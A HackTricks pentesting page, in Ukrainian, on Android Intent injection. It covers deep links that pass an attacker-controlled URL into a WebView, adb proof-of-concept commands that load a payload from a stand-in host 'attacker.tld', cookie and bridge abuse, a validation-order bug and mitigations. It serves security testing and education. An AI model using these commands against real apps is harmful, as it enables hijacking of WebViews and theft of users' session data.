Intent Injection
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Впровадження Intent зловживає компонентами, які приймають Intents або дані, контрольовані атакуючим, які пізніше перетворюються на Intents. Два дуже поширені шаблони під час тестування Android-додатків:
- Передача спеціально підготовлених додаткових даних до експортованих Activities/Services/BroadcastReceivers, які пізніше пересилаються до привілейованих, неекспортованих компонентів.
- Виклик експортованих VIEW/BROWSABLE глибоких посилань, які пересилають URL-адреси, контрольовані атакуючим, у внутрішні WebViews або інші чутливі місця.
Deep links → WebView sink (URL parameter injection)
Якщо додаток відкриває глибоке посилання з користувацькою схемою, таке як:
myscheme://com.example.app/web?url=<attacker_url>
і отримуюча Activity пересилає параметр запиту url
у WebView, ви можете примусити додаток відобразити довільний віддалений контент у своєму контексті WebView.
PoC через adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS виконується всередині профілю WebView додатку.
- Якщо JavaScript увімкнено (за замовчуванням або через неправильний порядок перевірок), ви можете перерахувати/використовувати будь-які відкриті
@JavascriptInterface
об'єкти, вкрасти куки WebView/локальне сховище та здійснити поворот.
Дивіться також:
Помилка порядку перевірок, що дозволяє JavaScript
Постійна помилка полягає в увімкненні JavaScript (або інших дозволяючих налаштувань WebView) до завершення остаточної перевірки списку дозволених URL. Якщо ранні допоміжні функції приймають ваш глибокий посилання, а WebView налаштовано спочатку, ваше остаточне завантаження відбувається з уже увімкненим JavaScript, навіть якщо пізні перевірки є ненадійними або запізнілими.
На що звернути увагу в декомпільованому коді:
- Кілька допоміжних функцій, які по-різному аналізують/розділяють/перебудовують URL (неконсистентна нормалізація).
- Виклики
getSettings().setJavaScriptEnabled(true)
перед останньою перевіркою списку дозволених хостів/шляхів. - Конвеєр на кшталт: аналіз → часткова валідація → налаштування WebView → остаточна перевірка → loadUrl.
Mitigations
- Канонізуйте один раз і строго перевіряйте; закривайте при невдачі.
- Увімкніть JavaScript лише після проходження всіх перевірок і безпосередньо перед завантаженням довіреного контенту.
- Уникайте відкриття мостів для ненадійних джерел.
Інші класичні примітиви ін'єкції Intent
- startActivity/sendBroadcast з використанням
Intent
екстра, наданих атакуючими, які пізніше повторно аналізуються (Intent.parseUri(...)
) і виконуються. - Експортовані проксі-компоненти, які пересилають Intents до неекспортованих чутливих компонентів без перевірок дозволів.
References
- Android – Доступ до компонентів, захищених додатком
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Ланцюг атак Samsung S24 (біла книга)
- Демонстраційне відео
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.